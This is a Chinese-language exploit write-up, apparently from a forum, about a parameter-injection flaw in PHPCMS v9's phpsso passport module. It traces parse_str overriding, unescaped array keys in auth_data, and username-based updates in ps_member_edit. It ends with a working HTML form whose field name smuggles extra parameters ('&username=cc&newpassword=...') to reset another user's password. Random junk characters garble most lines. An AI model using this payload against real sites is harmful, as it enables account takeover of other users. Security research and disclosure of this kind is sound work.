提到的通行证的代码:( U- m- H H( O A* C
3 \1 I3 C/ O: Q; K# b! b; P& A! r, r2 I9 y- w1 {; I' Q
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);5 h$ d# j: Y/ p7 B& J5 r" M
9 B) C' v! c( T* _0 i C1 |* B在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
" v" Z/ k7 Y" J! G- S% p4 j2 [. p$ t% }
我把它留给了你们。
# f7 {& i2 k6 v! J; `9 R' X( R不知道你们发现了它没有。, n8 b$ g; X1 w7 L
0 r: b% `+ q7 |- |我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。7 H7 C) \1 B7 q6 E' g
: x0 `4 l6 I% _/ y) v' Z/ N4 ^2 J
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。- a; T0 i' D6 ]6 u! b
( g7 q3 m# C) f也就是' K/ T. J. k) C' p
5 i9 _% C3 q4 Q2 B& M6 _" k' W5 D, E
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
) w! e2 W+ N) B3 k: z) i+ K# T- V; N0 Q( ?5 b6 G% \
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。0 I) x& M7 {2 R4 R
; T2 w/ n" v4 u- Q A' o* g1 E" X& N3 c6 D
其实我们有这样的机会,看看代码,如下:) d/ o) e* W( ^1 U* N& I
9 a$ q) G& Y3 s: z- X* C4 ]
/ p. F0 g0 x5 s+ m `1 Vpublic function auth_data($data) {
3 ^2 @* ]) N! @* ~# m4 P3 R $s = $sep = '';
' |3 \ z, G( i# |3 E# I foreach($data as $k => $v) {6 t& s% N4 A: ?2 V
if(is_array($v)) {
% ?7 _6 D& n- |: Z+ N: k5 \" { $s2 = $sep2 = '';
% ^+ e2 S; O ` E. g% s foreach($v as $k2 => $v2) {( {+ R! @' M& ?3 `% y/ t* ?
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
4 e' n& e5 H8 T8 ?1 |* i $sep2 = '&';' F7 E. d( k, R% E" `9 F3 R
}
& M2 E" d9 S. D$ l $s .= $sep.$s2;1 T& t( Y7 _. G4 O7 T: E
} else {
! n* q2 E# N9 l0 v. b $s .= "$sep$k=".$this->_ps_stripslashes($v);
8 j; j% J6 p) Z- Z0 R: {6 U% [ }# ?+ U% X" f" r
$sep = '&';' R- `1 T q# V: A4 d
}4 R9 v0 J" o( ~+ D: ^
5 o ~- I7 R2 k: g; R; y $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
2 O- D* q0 S5 D% _% n return $auth_s;' g) G! S/ Q( \* t- F: u
}
& H$ `8 w! r" a; [1 [
+ v/ M( i. {. V; Q& b! h可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。" d3 _( ^! \; Q. R# F" G+ K) w' \
) l, F$ J9 L& X6 Z举个例子
3 o! _! w5 I3 l& d+ B k! r4 f/ H- Q* R1 q: g. \, B1 i
$a[aaa=a&bbb] = 'a';& v) _6 o V7 X
; ~2 t1 Q' h8 S6 b! G, m1 C# q会变成aaa=a&bbb=a6 b- m1 h% |4 J7 ]! `
& @2 m- H# T7 a3 x) o明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
; K& D2 S. y8 o% I; P% Y7 P( o4 M
这个时候,我们可以再去看一个函数。
. ?& J% R2 @5 y& ^0 z ]5 h" z0 `) H6 `' U4 R+ k
就在这个文件内:- Q/ C. l% g; N- y2 h
( ?" K$ a! ~& P# f/ |
3 ?7 X& o3 C. A: F; {4 Rpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
2 ?" A: Y( \7 X$ _$ U if($email && !$this->_is_email($email)) {2 F+ L& U. r3 `
return -4;
6 i6 U9 T- n2 d" H* S }
! k( d% V6 E+ p7 I$ b return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
* D9 {5 _. j0 s& @9 l% R' Q }
7 H( Z5 b4 ^; V0 \0 H* m- G2 m, \3 `, x7 E+ K5 \: k3 V2 N
这是向通行证发了这样一个请求。% P. N) m t: k6 ~; z" |4 F
8 p/ D: t, f, R- X: f我们再跟到通信证代码里去看看,就会有所发现。
" ] D3 H- s3 G9 X& Y# p+ L* p0 x- R: h: y
: V1 X4 B1 V+ A T6 ] b+ Upublic function edit() {# g. y' @- U4 m2 c7 M
//能省就省,太长了不是吗?7 ^! J2 P9 w$ A% ?6 U
8 E% C s1 s- X/ E& K2 Y
if($this->username) {
! Y$ R9 x9 D. D* O- V! B//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。 ^/ g& q! ^$ H
$res = $this->db->update($data, array('username'=>$this->username));# t; @4 g: [- G+ [. Z. T3 h5 J
} else {
6 x+ e% L) o% C$ b3 P: |# l file_put_contents('typeb.txt',print_r($data,1).$this->uid);
9 t' e6 x( o. }. q* Q) {' Y% F $res = $this->db->update($data, array('uid'=>$this->uid));
' Y! g" a& e- }9 ^ }
* T9 Q: i/ S# o% p/ k, R$ \3 n, x7 q
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:4 \% |& L% W+ i/ o* x4 B
2 j! X* X# {5 a9 s! N) ]
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
- e* \2 b0 k8 n+ ?2 v+ d* k& x1 \3 M# H. ]* d# g3 x2 y* m
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。% z; I- {* M+ ~3 H" o
; y* B4 b7 y7 |# C& ] `7 U
我当然找到了:
- ]/ e' E3 C7 S0 vphpcms9/phpcms/modules/member/index.php/ s' ]5 o A5 V7 _1 j, e7 D- x2 q
' } H: V4 n" I
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
0 @& O# u8 f& ~& [9 Z; s! m: F# }! ~2 Q( g" ^ o2 z2 M" |
然后就没有然后了。
' L8 u* `7 k. @" n" w4 _) N
9 T2 B6 C8 x& a<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">$ i3 n' \& g9 f; j: M1 W
<table width="100%" cellspacing="0" class="table_form">
7 e; [" E r1 U# e <tr>3 [1 z! [6 L2 @( j' V
<th width="80">邮箱:</th> 9 {- t8 c' H6 i7 N& R2 v! x% V( D
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
& j: j( _( i4 ~. V- {3 }, K1 R </tr>
& U- {. w: B9 W <tr>
3 I( h: t `6 f; q9 u# h) A <th width="80">原密码:</th>
( w) }+ O( D6 d4 n) V <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
; M1 P8 }' ~* B& B' n# a </tr>
$ N. o9 O% j# V' x& X5 t$ i <tr>
% W- w B1 i* R2 I. t# B <th>新密码:</th>
' G+ a+ P; J# L <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>* V. i/ _9 _8 L7 o8 n' L9 n
</tr>
& b! k L+ L- X <th></th>
% l3 P3 J% c! a <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
6 b& `3 l* [1 D7 h5 r4 D </tr>
$ U4 u3 e4 e" ~" n @ </table>, G6 i- ~, N; V2 b j) J
! ?$ c5 U% a/ U6 c - f$ b1 b, t2 Z5 o) C1 u: h+ d
</form>& Z o& n/ N. Z. ?2 l
|